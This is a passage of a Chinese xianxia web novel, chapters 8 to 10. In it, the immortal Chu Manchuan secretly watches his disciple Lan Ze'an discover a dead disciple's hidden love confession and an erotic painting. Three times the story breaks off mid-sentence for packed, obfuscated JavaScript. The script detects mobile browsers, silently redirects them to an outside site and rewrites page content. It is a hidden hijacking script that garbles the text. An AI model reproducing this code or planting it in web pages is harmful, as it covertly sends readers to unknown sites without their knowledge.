“谁说的?师尊!桂花很香的,到时候花一开,别说这间小院子,便是我们整座藏月山,都会是香的!”楚崖边说边开始畅想:“还有啊,到时候再时不时吹一阵山风,风吹花落,花落成雪,那该是多漂亮的景色啊!” 褚漫川却没有答应他,而是有了其他的想法:“红枫呢?楚崖,我想种一棵烈焰一样的红枫。” “当然好啊。”楚崖一口答应下来,道:“我本来是看师尊无所谓,我才提金桂。师尊既喜欢红枫,那我们就种一棵红枫,届时我们小院一年四季,满目红霞。” 褚漫川忍不住顺着他的话遐想:“那到时候便是,风吹叶落,叶落成火。” “没错,一地的枫叶看着还会格外喜庆呢!” 那时,庭院里真的是空荡荡,抬头就是天,低头就是青石板铺成的地。 那时,什么都没有,却也不显寂寥。 …… 年华飞逝,院子里的这棵枫树也长得越来越高、越来越茂盛了。 抬头是枫叶,低头也是枫叶,但满院子的枫叶却是跟“喜庆”沾不上一点边。 褚漫川轻轻闭上眼,声音混在风里,低不可闻。 “应该种金桂的。” 8. 第 8 章 飘了一夜细雨,第二天整座藏月山都好像带着潮湿的水汽。 正屋廊檐下系着的铜铃突然泠泠的鸣响,褚漫川瞥了眼,颇有些不耐道:“有人来了,此人是器合峰峰主,段至。” 将将辰时初,兰则安习完那套剑法的后半段,虽然一直喘着气,气息稍显不稳,但整个人的精神状态却是极好的。 因为练剑,他高束起马尾,一双眼眸明亮有神,像是清晨的第一道曦光。 不过今日天不好,褚漫川抬眼看看灰蒙蒙的天,再望向兰则安时,有那么一瞬间,他觉得自己好像看见了兰则安的真身。 一株被风雨无情拍打,却仍坚持傲然生长的兰花。 五峰峰主同时也是万世仙宗的副宗主,兰则安想着天色还早,这个时候过来恐怕是有什么要紧事,遂道:“那弟子就先退下了。” “不用。”褚漫川慢悠悠说着:“你才是他过来的目的,今天没见着,就会有第二天、第三天……真是让人烦不胜烦。” 兰则安后知后觉发现,师尊在他面前从来不隐藏自己的性子。若是遇见什么不喜欢的人或者不喜欢的事,褚漫川就会把不喜、甚至是厌烦挂在脸上,清清楚楚,让人一目了然。 比如说当下,他应该就很不想接见这个叫“段至”的人。 兰则安正思索着,就见庭院大门外走近一个人影。 那人穿着洁白的袍子,身形融入苍白飘渺的雾气中,就像一个逐渐逼近的幽灵。 等他迈过门槛,彻底走进庭院里,兰则安才看见他有一头光滑的白发,像是修真界被摸秃了脑袋的小猫小狗,紧紧贴着头皮,衬得那张普通的脸更是平平无奇。 自打兰则安从婆娑古境里出来,他还是第一次瞧见这么打扮的人。 除却眼睛和嘴唇,这个叫“段至”的男人全身上下除了白色,再也找不到第二种颜色了。 兰则安想起他的身份,器合峰峰主,心里大概有了些猜测。 不出意料之外,事实也的确就是他想的那样。 段至停在距离褚漫川三步的地方,也不笑,也不先打招呼,而是用一种审视的目光把兰则安从头到脚仔细看了一遍,鼻腔里溢出一声轻蔑的笑,继而才开口说话:“模样倒是挺像你那个死了的弟子,就是看着病怏怏的,根骨也一般,你既然会把他收入藏月山,真是丢人。” “也丢我们器合峰的人。”段至冷冷道。 褚漫川八风不动,端坐在那里,既没起身迎客,也没有要给兰则安介绍的意思,只是单手支着头,露出了一个讥嘲的笑:“怎么?当了七百年的峰主,就不把我这个‘前峰主’放在眼里了?” 兰则安心绪微荡。 师尊以前,竟然是器合峰峰主??? 另外,他记得师尊说过,楚崖就死了七百年。 都是七百年,那这两件事应该是同时、或者前后脚发生,其中莫非是有什么关联? 段至安静了一会儿,没有正面回答这个问题,而是冷眼望向兰则安,用命令的口吻道:“我有话要同藏霄仙尊说,你先出去。” 兰则安莫明其妙地看了他一眼,没动,也不说话。 “不懂规矩!”段至眼神一凝,厚重的威势像大山一样压向兰则安,却在落在兰则安身上的刹那间,被褚漫川猛一拂袖甩开。 “砰——”一道剑影袭了过去,带着凛冽的杀意。 褚漫川脸上像是覆了层霜雪,全身都散发着森冷的寒气。 “段至,你还真是越活越回去了,居然对一个上仙耀武扬威,传出去也不怕丢了我器合峰的脸。”那声音冷冽凌厉,像是他的剑一样,冰冷得没有一丝温度。 褚漫川身上流露出的底蕴和威仪,全然满足了兰则安最初对“器合峰峰主”的想象。 至于段至……还真是让他意外得很。 “则安,你先去忙你的事。”褚漫川淡淡开口,声音清冷如水,却让人有种发自内心想服从的意识。 兰则安微微躬身,行了一个标准的弟子礼,才用恭敬的语气小声说:“弟子告退。” 段至的脸色变得更难看了。 褚漫川就罢了,兰则安……一个实力低微的小仙居然也敢如此嚣张! 没有楚崖的能力,却有楚崖的脾气,跟楚崖一样目无尊卑,不知礼法! 真是物以类聚,人以群分,当师父的是什么样子,徒弟便是什么样子! “行了,有事就说,没事就滚。”兰则安都在书房坐下了,却听见褚漫川朝段至这样说着。 他没忍住轻笑起来。 褚漫川的声调跟平常无二,没有刻意扬声,但也没有顾及宗门情谊,更别说段至的感受了。他的声音在这处小院里飘荡开,哪里都能听见。 兰则安偷偷瞄了一眼过去,终于从段至那张脸上看到了第四种颜色。 除了皮肤、眼睛、嘴巴以外的铁青色。 其实很奇怪。 倘若只看脸的话,段至分明是跟师尊,还有万世仙宗宗主师鹤语差不多的年纪。但不知道为什么,他远远走来给兰则安的第一感觉,就是一位死气沉沉、死板执拗的老人。 全然没有修士身上应有的那种劲儿。 且异常自负,明明实力也就那样…… 额,他好像太过于嚣张了。 兰则安回过神,惊觉自己竟然会有这样狂妄的想法。 纵使段至目中无人,但他也确实有这个资本。 黎修凡曾跟他说,万世仙宗一共有七位金仙。除却宗主师鹤语,另外五峰峰主中,器合峰和法悟峰的峰主也是金仙的修为,只不过等级比师鹤语要低一些。 来的路上,兰则安并没有奢求过能拜入金仙座下。他当时只是想着,能成功进入这仙域第一宗门就好,哪怕只是做个外门弟子,他也满足。但世事无常,凭借一张和别人相似的脸,他最后竟然真的拜在了一位金仙座下。 还是黎修凡从始至终,提都没提过的藏霄仙尊,褚漫川。 话说回来,师尊不喜欢听他提起黎修凡,但其实他对黎修凡有一种很奇怪的感觉。 当初在婆娑古境见到他的第一面,他对黎修凡就有一种发自内心的熟悉。这种感觉不好形容,兰则安这几日看了好几本杂书,粗浅的将其概括为一个词。 雏鸟情结。 他化为人形之后,见到的第一个人就是黎修凡,也是黎修凡把他带出了婆娑古境,一路上多有照顾、温柔细致。 现在想想,或许黎修凡对他好,也是因为楚崖。 兰则安回想这几日经历种种,一时若有所思,似喃喃自语般低吟道:“楚崖,楚崖,你究竟是一个什么样的人呢?” 西南角的书柜放的都是跟剑修有关的书,其中多跟剑招、剑意和剑势相关,间或掺杂着几本跟戟有关的古书。 兰则安看着只觉得头晕。 他抬手揉了揉太阳穴,随手抽了本记载剑意的书看。 贪多嚼不烂,兰则安知道这个道理,他的身体还比较虚弱,剑道尚且刚刚入门,这种煞气比剑还重的兵器,戟,他是没打算去尝试的。 还有就是,他光是看到“戟”这个字……看到这个字的第一眼就感觉不好。 属实是跟他完全不搭,风马牛不相及。 这本讲剑意的书书名是《君子剑》,扉页上写着一句话。 “君子务本,本立而道生。”[注1] 兰则安若有所思地盯着看了好一会儿,才往后翻了一页。 本立相生,无本则无道。 本,本心,本性,本分。 本,即根本也。 粗读倒是通俗易懂,然细读却是回味无穷,让人觉得其意无限也! 兰则安越看越是心生欢喜,他情不自禁地往前走了一步,却不小心踢到了书柜最底层的木板。“哐当”一声,伴随着树叶晃动的窸窣声响,书柜最下层的格子吸引了兰则安的注意。 他半蹲下|身子,把格子抽屉拉开,入目一片红霞,里面放着满满一抽屉的红色枫叶。 兰则安神色微怔。 这几日,他一次又一次踩着红色枫叶走过庭院,听那嘎吱嘎吱的脆响。有山风吹过时,他就专注听枫叶随风轻舞的沙沙声。听习惯了,适才一点声音,只是相似的声音,就让他一瞬间就想起了院中那棵高大的红枫。 不是任何一棵树,就是那棵火红的枫树。 抽屉里的红叶干干净净,上面细腻的纹理脉络也没有一丝破损褶皱,鲜活得像是刚从树上摘下来的似的,保存得近乎完美。 许是因为一直密封在这处小小的格子中,枫叶的香气得以酝酿,清新而又清甜,闻着就像是在品一盏清幽的白茶,让人心旷神怡。 一格子的红叶里,兰则安眼尖瞧见了一本没有封面的书。 他心思微动,想起师尊亲口说过,书房里的所有书他都可以看,也随便他看,于是放心地取出书,动作轻柔小心。 书没有名字,扉页也没有字。 再往后翻一页,是一句话,两个词。 [天长地久,矢志不渝] 那字行笔连绵,随意且潇洒,像是流动的云,也像潺潺的水,让人挪不开眼。 但兰则安的注意力却不在字上,而是凝视着那句话,无端一愣:“这是何意?” 他看着这句话,恍惚了好久好久。 再往下翻,正中只写了三个字,三个潇洒到极点的大字。 [吾之道] 而那书页的右下角便是那个熟悉的名字,是自他来到万世仙宗以后听到最多次的名字。 [楚崖] “天长地久,矢志不渝。”兰则安心脏砰砰直跳,整个人都僵在了原地。 这到底是什么意思??? 这真的是楚崖师兄亲手所书吗? 他表达的……究竟是什么? 兰则安甚至不敢开口发出声音,他极力控制着自己不要胡思乱想,但脑海中那个大逆不道的想法却是逐渐清晰起来。 他头脑昏沉,只觉得自己的思绪被彻底打烂,没法拼凑回去,也没法理清根本。 理智告诉他应该把书放回去,但感情却促使着他往后又翻了一页。 第三页正中依然是三个字,只是笔锋略凌厉些,为—— [吾之剑] 右下角那两个小字终于证实了他的想法,尘埃落定。 [长渝] “啪——”兰则安慌忙合上书,无法平静下来。 楚崖……楚崖师兄实在是放肆! 他的手心火辣辣的,只觉手里这书就像是个烫手山芋一般,需得赶紧丢开,再也不瞧上一眼! 兰则安急急把书放回格子里,想也不想就要关上抽屉,却在瞥见那空白的封面时,觉出不对来,复又把抽屉重新拉开,抓了把枫叶盖在书上,要把它藏好,恢复原样。 让这不该有的心思继续藏在过去,藏在格子中,藏在枫叶之下。 自认为自己掩饰好一切后,兰则安终于松了口气,正想擦一擦额头根本不存在的冷汗,身后传来了一道好奇的男声:“你在做什么?” “师尊?!”兰则安猝不及防被吓了一跳,声音都不自觉颤抖了起来。 他愕然回首看向褚漫川,好似晴天霹雳当头一击,心都像是被石头拴着掉下了悬崖。 “你什么时候过来的?”兰则安动也不动地半蹲在地上,呆呆地仰视着褚漫川。 他的眼眸里流露出明显的紧张之色,就像是干了坏事被抓住了一样。 褚漫川看了只觉得有意思得很,楚崖一贯是面不改色心不跳,无论犯下多大的事,也无论到底做没做过,他都是一副闲庭信步、自然轻松的模样。 便是说着跟他毫不相干、也不知道是打哪儿听来的鬼话,他都能信手拈来,一五一十说出来,听着就跟真的似的。 眼下看兰则安这副直白到不能再直白、几乎是把心思完全写在脸上的单纯模样,稀奇的同时,褚漫川对那格子里的物件更感兴趣了。 “我刚过来,见你蹲在那儿好像是拿什么东西?里面放着什么?” 兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875593|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则安眼神躲闪,呐呐着开口:“没什么,就是放了一些枫叶……好看。” 褚漫川差点没憋住笑出声来,他看着兰则安的脸,觉得上面好像明晃晃的写着四个字,还是非常醒目的四个字。 我在说谎! 世人常说兰花乃花中君子,他从不种花、也不养花,听到这话总是一笑了之,从未放在心上。 但今日见兰则安才恍然大悟,能让说谎从来不脸红的楚崖变成现在这个模样,那绝对是兰花的“君子之风”影响了他。 妖族在修成仙身前是没有灵智的,全凭天地灵气润养,而花草精灵性情温和纯净,也确实是最好的“躯壳”。 现在想想,楚崖那厮也算是有眼光,给自己挑了个绝佳的身体。 “是吗?让为师看看。”褚漫川大步流星走向兰则安,目光也随之落在了黄木书格上。 兰则安微微侧身,身体往书格上倾了些许,仍半蹲在地上,固执地没有让开:“师尊。” 他眼睛深处有丝丝哀求之色,虽不浓烈,却也表明他极不愿意让褚漫川看到那格子里的物件。 这就让褚漫川更觉奇怪了。 ‘兰则安’的经历就那么多,他的心思也一眼就能望到底。况且他守礼克制,断不会将自己的东西随意放在书房,也决计想不出在书格里放满一匣枫叶,用来藏书一事。 是楚崖,也是楚崖的书。 不过褚漫川想不通,什么书值得他这么大费周章? 藏月山一直都只有他们两个人。 他也很少进书房,便是进来了,也从不翻看这里的书,那楚崖又为什么选择用这种方式藏起一本书? “……这是弟子的秘密。”话说完,兰则安的脸也红了个彻底。 即便是说谎,他也坚持不让自己去看那本书。 褚漫川见状,没再逼他,用一种满不在乎的语气说:“行吧,既是你的隐私,为师也不便查看。” 兰则安绷着的身体逐渐放松,卸下心里的负担之后,他的每一根神经都松懈了下来。 他让自己不再去想楚崖,也不再去想身后那本被藏起来的书,强行转移了话题:“师尊是有什么要交代弟子的吗?” 褚漫川想起段至那玩意儿方才说的话,面色微沉:“他来找我,还是为了宗门大比一事。” “此次大比较之从前,规则有了一些变化。”褚漫川轻敲了两下身边的书柜,脸上的笑意也渐渐收起,“今年的宗门大比,分为初选赛、挑战赛和风云赛。初选赛时,每个弟子都要依次抽选另外三峰的弟子,也就意味着每人都要比三场,跟完全不同风格的修士比。赢者加一分,但输者也不扣分。若是平局,则双方不加不减。” 兰则安颇有兴趣地说:“依师尊的意思,就是弟子可以跟法修、文修和武修都切磋一次了?” 褚漫川点头,语调闲闲地提醒他:“没错,不过若是输了,也有可能连输三次。” 兰则安坦然一笑,神色自若:“师尊不是让我量力而行嘛?弟子没有心理负担,这次大比无论输赢,都只是弟子修仙路上的第一步。” 昔日,楚崖也曾跟他说过:“师尊,弟子的剑从不惧输赢,只要师尊信我,弟子就绝不会让师尊失望。” “弟子会为了师尊赢,但若是输了,弟子也输得起,因为弟子相信自己,相信自己不会一直输。” 褚漫川的心神有那么一瞬失去了平静。 半晌,他方道:“我希望你能记住自己说过的话。” “弟子一定谨记。”兰则安定了定神,承诺般开口应道。 褚漫川的心绪有些复杂,他随口答应了一声,转身欲回正屋,临走时还不忘说:“你继续看书吧,今日就先别碰剑了,松弛有度,方为修仙之道。” “是。”兰则安略一颔首,将这句话放在了心里。 距离晌午还有好一阵子,兰则安就重新拿起了那本《君子剑》,细细品读着其中真意。 另一边,褚漫川回到正屋之后,也想起了这本《君子剑》。 …… “师尊!你快看!”楚崖像是发现了什么稀世珍宝一样,举着手里的书,扬声道:“我还是头一次看见这种剑意呢!读着倒不像我们器修,反而有种文修的感觉。” “君子谋道不谋食,君子忧道不忧贫。”[注2] “师尊!弟子觉得这书写的不对,是人就会有七情六欲,若是只追求所谓的‘道’,反而容易倒行逆施,忘了修仙的本心。” 褚漫川接过他手里的书,快速翻了一遍,道:“你的道非他的道,他的道也非你的道,不同的道,本就不能混为一谈。若是只用一种眼光来看待所有的道,反而容易困于己道,你可明白?” 楚崖当时凝思良久,才道:“师尊一语点醒梦中人,弟子受教了。” “不过。”他眼珠一转,又笑着说:“弟子还是觉得此道有种文修的感觉,只是修的不是‘艺’,修的是‘性’,也是‘心’。” “你这么想,那便是你的道了。”褚漫川也并不否定他。 …… 当时的无心之言,没想到竟一语成谶。 即便是同一个人,在不同的时间,因为不同的事情,剑意也是有差别的。 人都一直在变,何况手里的剑呢? 褚漫川慢慢转过神,有些好奇兰则安是怎么看待这本书的了。 他右手一挥,身前出现了一面水镜。 水镜之中,兰则安正好放下手里的《君子剑》,视线缓慢下移,再次看向了书柜最下层的格子。 他蹲下,犹豫看向那间格子,一副拿不定主意的模样。 褚漫川被他这副表现彻底勾起了兴趣。 又是好一会儿,兰则安闭着眼睛拉开了格子,好似壮士割腕、破釜沉舟。 至于吗?一本书而已。 褚漫川失笑,但下一秒,那抹笑就止住了。 他看见了八个字,想起了一把剑。 天长地久,矢志不渝。 即楚崖之剑:长渝。 9. 第 9 章 “楚崖,你是为何执剑?” “师尊总有一天会明白的。” 每个剑修都有自己的剑道,剑心不同,剑意自然也就不同。 一直到楚崖在上古神域出事,他都不曾说过自己的剑意。 褚漫川记得,当年他问楚崖这个问题时,那人眉眼含着盈盈笑意,整个人温柔得不像话。 也许楚崖是想让他自己发现。 但这个问题的答案,最后却还是‘楚崖’亲自告诉他的。 …… 书房里,兰则安拿着那本无名书,想知道楚崖平日里是怎么修炼剑道的。 《君子剑》里有一条楚崖写的批注,兰则安觉得很有意思,也很感兴趣。 [吾之剑乃剑,私以为君子剑乃心] [所谓君子,修心为上,其剑乃其心] 文修,自古以来便是以琴棋书画四艺入道,也是修心养性之道。 如果说器修和武修看的是根骨,那文修和法修看的就是心性。 而君子剑,楚崖认为它的剑意,是重在修心。 兰则安在一页页静心研读。 而褚漫川却在一页页中乱了心神。 心脏像是被刀子狠狠剜了一下,阵痛在身体里蔓延开的同时,一股实打实的疼意也开始发作起来。褚漫川用力按住心口,指尖轻颤着,手背上青筋暴起,几息后,他竟生生呕出一口鲜红的血。 也是回过神来才发现,有人找他了。 是虞修的传音符。 褚漫川无力地挥了下手,一道紫光掠过,他面前的光影中,出现了一张冷白色的俊美面庞。 那人穿着一袭红衣,目光有一丝玩味,但更多的却是探究之意。 他盯着褚漫川打量许久,唇角略略勾起,笑容带着几分惯性的轻挑:“怎么?养魂玉出岔子了?没见着人?” “不是。”褚漫川摇摇头,嗓音沙哑地问他:“你找我可是有什么事?” 虞修讥讽地笑了一声,道:“我能有什么事?只怕鬼域里最清闲的人就是我了。还不是你说走就走,招呼也不打一声,我这不是担心你吗?” 褚漫川闻言嗤笑出声,道:“那你现在可看过了?” “楚崖呢?他没在你身边吗?你们师徒二人好不容易重逢……”虞修本来是顺嘴一问,却见褚漫川眉宇轻蹙,再回想方才他的脸色,虞修止住话题,言之凿凿,“你用剑了。” 褚漫川没接话,垂着眼睫,不知道在想什么。 虞修微眯着眼,原本懒洋洋的气质骤然一变,那双像是一直透着笑意的桃花眼也显出几分厉色,变得犀利起来:“你不要忘了,师鹤语是文修,修心几千载,城府极深,若是被他看出你剑心不稳——” “他应该已经有所怀疑了。”褚漫川漆黑的眸色在昏暗的光线下愈显深沉。 虞修沉默了一下,话里多了几分认真:“楚崖他到底怎么了?” 楚崖都回去了,褚漫川的剑心却仍然没有恢复。 若是楚崖完好无损的回了万世仙宗,那褚漫川就绝不会跟师鹤语再发生冲突,以楚崖的实力,他也不可能不闻不问。 “……他失忆了,什么都不记得了,变了个样子,也变了个彻底。”褚漫川的声调很平,却若有若无的透出不痛快。 算账,算不明白。 打一顿,难解心头之恨,还显得他蛮横不讲理。 褚漫川闭着眼,颇有些咬牙切齿道:“等他想起来吧,等他想起来以后,我的境界应该就恢复了。” 虞修见他说起楚崖只是稍显郁色,就没再追问,只道:“那他现在的实力呢?可有什么变故?” 说起这个,褚漫川就更郁闷了:“他成了妖族,选了个帝兰壳子,刚修成仙身。” 他怅然若失,脸上带着淡淡的疲惫和无奈。 褚漫川话还没说完,虞修就一点也不克制地哈哈大笑起来:“楚崖居然也有今天?!帝兰!亏他想得出来!哈哈哈哈哈,那跟他完全不搭好吗?” 他的笑声狂妄而得意,肆无忌惮,且不加丝毫掩饰。 褚漫川抿唇不语,不悦地看着虞修。 楚崖是他的弟子,普天之下,只有他才能说楚崖,只有他才有资格说楚崖的不好。 除了他,旁的任何人,都没有资格说楚崖如何。 “你笑够了没有。”褚漫川沉着面色,语气带着一股极冰冷的气息。 “哎呦,我说藏、霄、仙、尊,你可真是惯着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875594|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀,之前不是还扬言要让他好看吗?”虞修冲他挑了下眉,拖着腔调玩味地说,“现在我不过是说了他两句而已,楚崖都不会在意,你倒还替他恼上了。” 褚漫川拧眉哼了声,不咸不淡地接腔:“那是我跟他之间的事,固然是要清算的,只是没到时候罢了。” “我看你现在这个样子,早就把当时说过的狠话忘记了,就算后面楚崖恢复记忆了,你也不会怎么样他的。”虞修了然地笑笑,一副我早就看穿你的表情,在褚漫川发作前,当机立断,抬手一挥,直接中断了传音符。 动作迅速,一点也不拖泥带水,成功把褚漫川想说的话堵在了嘴边。 兰则安这边没法发作出来,虞修那家伙又来呛他,褚漫川越想越觉得心烦,不过他也清楚,虞修会用这种语气跟他说话,归根结底还是因为楚崖又回来了。 只要两人还能在一起,那所有的事情都可以慢慢来,徐徐图之。 可是虞修…… 褚漫川在心底叹了口气。 他看向水镜,兰则安正好合上手里的书。 这本书似乎给他的感触极深,褚漫川见他神色几番变换,最后整张脸清晰的呈现出三个字。 不理解! 水镜之中,兰则安席地而坐,他单手撑着下巴,像是在发呆,也像是在沉思。 褚漫川明白,以他目前的心境来说,是没法参透楚崖剑意的。 怕是在兰则安心里,师尊就是师尊,师徒关系就是上对下,犹如凡间父子关系一般的存在吧。 一股苦涩之意在心头挥散开来,只是褚漫川咂摸出这种滋味的下一秒,就低低地冷笑起来。 屋里的气氛陡然一变。 那声短促的笑,透着一股子难以捉摸的诡谲,令人不寒而栗。 当初可是楚崖先来招惹他的。 如今他对兰则安如何,都是他活该,也活该他受着。 “这便是因果轮回、报应不爽。”褚漫川眼尾弯起,喉咙中溢出一声满足的喟叹。 兰则安要练什么剑、修什么道他不管,他喜欢君子剑,便去练好了,反正那本《君子剑》也是楚崖的书。 只是他褚漫川。 学的可不是什么君子剑。 10. 第 10 章 兰则安轻轻把书放回书格中,正要拿起枫叶给它盖上,忽而想到褚漫川。 师尊他方才……会不会已经怀疑自己了? 回想自己刚才此地无银三百两的表现,兰则安顿觉面颊发热。 适才,他只是一门心思想着不让师尊发现,想着遮挡住此书不被师尊看见,竟全然不曾留意自己的行为有多掩耳盗铃。 师尊定然瞧出了不对,若是还把这本书放在这里,万一被师尊看见,会不会……有损楚崖师兄的名声? 楚崖师兄把这本暗藏心意的书搁置在落叶下,放于书柜最底层的书格里,必然是也清楚自己的心意有悖常理。 他一个外人,对于楚崖师兄来说,更是连面都没见过的外人,凭借着一张和楚崖相似的脸才得以拜入藏霄仙尊名下,理应为楚崖师兄料理好这些身后事,把该藏好的秘密继续藏好。不然万一被褚漫川发现此书,也不知会如何看待这位对他抱有异样心思的弟子。 思及此,兰则安重新拿起书,目光在书房里仔细搜寻一遍后,落在了专门放置食谱的那个书柜上。 这间书房的书柜都是统一制式,共有七层,上面六层是敞开的书格,只有最底层做成了一个个的格子抽屉。 把这本书跟食谱混在一起放是最安全的,师尊不会对那些食谱感兴趣,也不会在那里停留细看,这样既好好保存了楚崖师兄的心意,也维护了他的颜面、以及他在师尊心里的形象。 兰则安把书格里的红叶拢好,再一次合上抽屉。 这次合上,他必不会再打开了。 抱着这样坚定的念头,兰则安终于站起身,也没心思整理衣衫上的褶皱,他快步走到食谱书柜前,半蹲下身子,想也没想就随手拉开了左数第二个抽屉。 奇怪,这……这又是什么书? 抽屉里又是一本空白封面的无名书,说不上来是因为什么,兰则安瞧见这本书的第一眼,眼皮就狠狠一跳。 也许是第一本无名书给了他太大震撼,兰则安犹豫了一会儿,拿起这本书,放在眼前端详了好长一阵子,才翻开书页。 水镜外,褚漫川也不免心生诧异。 那本放在剑谱书柜下的,是楚崖修习剑道的心路历程。 那这本放在食谱书柜下的,莫不是楚崖自己研试出来的那些新菜式? 可即便是新食谱,应该也没必要藏在最底下吧? 无独有偶,兰则安凝神思索片刻,也是这样想的。 他垂眸看着书,眼中多了几分好奇的打量,指尖翻开封面,只一眼,兰则安整个人都傻了。 他像是被施了定身法术定住了一样,呆若木鸡地看着那副细腻的彩绘出神,目光凝滞,一动都不敢动。 这……怎么会是这种东西?!书房里怎么会有这种书?! 水镜里清晰呈现出那副让人面红耳赤的画作,褚漫川的脸色猛然涨得通红无比,一路红到了耳朵根。 楚崖他居然……居然敢…… 真是个十足的混账!混账! “楚崖!!!”褚漫川看着那副活色生香的艳画,脑子嗡的一下炸开。 他恨恨地咬着牙,侧过头不去看那本书,也不去看兰则安。 水镜正中央,也就是兰则安手里的那幅画用色极为大胆,细节之处勾勒得一清二楚,即便是兰则安这种没有任何感情经历的白纸都能看得分明,那是两个男人。 两个……浑身赤|裸,没有一点距离的男人。 整张画除了一张床,只有他们两个男人,而且他们还位于画面的正中间。 兰则安眼神迷茫,好半天才回过神,反应过来自己看见了什么东西,手里拿着的是什么东西。 他羞耻极了,心脏也跳得剧烈。 他万万没想到,楚崖竟会在书房放这种……这种不好的书。 兰则安不知道该怎么叫这种书,只是当他知晓楚崖对褚漫川的情意后,再看这种书就觉得不堪入目,而且莫名羞耻。 这书,是一定一定不能让师尊看见的! 兰则安眼神里掠过一丝凝重,短短几秒,他的思绪像是野草一样疯长。 他不动声色地透过窗子看向外面,不知道是从什么时候开始,天又飘起了蒙蒙细雨,湿润的雾气裹挟着雨水吹向敞开的窗子,送进来丝丝凉意,让兰则安混乱的思绪也跟着变得清醒了些。 他望向正屋,那里门窗紧闭,师尊这些天除了今日,从未踏足书房,把书留在这里是最安全不过。 楚崖之前放在这里,那他现在便把书也还留在这里吧。 兰则安把写着楚崖剑意剑名的无名书也放进了这个格子抽屉中,跟这本放浪形骸的书一起,放在不会被褚漫川注意的角落。 但很微妙,把格子抽屉合上的这一瞬间,兰则安的心情却并不像他设想的那样轻松。 没有如释重负的感觉,而是一种他不理解的……怅惘。就像是弄丢了什么东西似的,让他心口很不舒服,甚至是有些堵得慌。 兰则安沉默着,神情有些飘忽无助。 他不太能理解自己此刻的心境,但却也清楚,这种事情是绝对不能跟任何人提起的。 尤其是师尊。 但是…… 他又觉得,师尊便是知道了又能如何呢?楚崖师兄已经仙陨,这份不见光的心意难道就要永久封存下去,埋藏在这间小小的暗格中吗? 若是楚崖师兄泉下有知,难道他真的就想一直隐瞒下去,不被他喜欢的人知道吗? 兰则安掌心一摊,伴随着一声令人为之一振的剑鸣声,青霄剑凭空出现。 他漆黑的眸底,突然闪过一抹幽光,逐渐变得清亮起来。 兰则安这是要做什么? 自从看见那副荒唐的彩画之后,褚漫川克制着自己,没再看兰则安一眼,一直到听见这声剑鸣。 只见水镜中,兰则安单手撑着地,刷的一下利落地站起身,甩手随意地理了理衣袖,提着剑大步走出了书房。 动作随性不羁,透着一股子熟悉的味道。 褚漫川不可避免的恍惚了一下,有那么一瞬间,他甚至觉得,记忆中的楚崖是真的回来了。 那个没有一分一毫的变化,和以前一模一样,也没有忘记任何记忆的楚崖。 天色昏暗,小院就被枫叶压得更暗了。 窗外树影摇曳,枝头的红叶乱哄哄地摆动着,不停有水滴沿着叶片下滑坠落,几乎连成了丝线,绵绵不绝。 兰则安抬脚走进雨中。 院外,是藏月山葱郁的山景,下雨天,漫山遍野都飘着轻纱般的雨雾,朦胧而又水润。 院内,是只有他和师尊两个人住的屋舍。 而以前,这里只有楚崖师兄和师尊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875595|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其实那本书究竟会不会遭到师尊厌弃,他都不该把它藏起,也不该有这个念头。他没有这个权利,更没有替楚崖师兄做决定的资格。 兰则安站在雨幕下,背影挺拔修长。雨水洇湿了他的双肩,风吹过,他的墨发飞扬,衣袍猎猎作响。 他一剑挥出,半空有一瞬间的空白。 连绵不断的雨丝被生生斩断,风声也停滞了一瞬。 青霄剑轻盈如燕,在兰则安手中显得温顺极了,原本肃杀的剑意也变了个样子,变得飘逸灵动、潇洒自在,完全不似之前那把杀人的利器了。 剑招随心而行,剑意也凭心而动。 但褚漫川很不喜欢。 因为这一剑,已经不再是剑了。 自从和‘楚崖’相遇以来,褚漫川第一次深刻的认识到,他是真的变了。 一直沉浸在过去没走出来的人,只有自己。 现在想想,当时在沧净山,若是真的让师鹤语收下兰则安做弟子…… 其实会更有助于他如今的道。 拿剑修心!真是好一把君子剑啊! 他以前怎么就没看出来,楚崖还是个文修的好苗子呢? 怪不得兰则安会跟着黎修凡一起来万世仙宗,怪不得他第一次学剑时就会分心,敢情是他就没想过要学剑,做一名剑修。 褚漫川眼底逐渐渗出寒意,他猝然记起,当初他说要收兰则安做弟子时,兰则安是想拒绝的。 拒绝?!他凭什么拒绝? 他一个小小的花妖,哪儿来的底气。 “呵,真是好大的胆子啊。” 他以前真的是太惯着楚崖了,把他纵得无法无天、肆意妄为,都死过一回了还敢这么嚣张。 明明是他褚漫川的弟子,结果莫名其妙调头成了个文修! 拿着青霄剑!去修心!!! 好一个兰则安!真是好一个兰则安啊! 褚漫川怒极反笑,血液在身体里奔腾不休,好像烈火上浇了一把热油,怒意直冲头脑。 他越想越觉得可恨,楚崖可恨,兰则安更可恨。 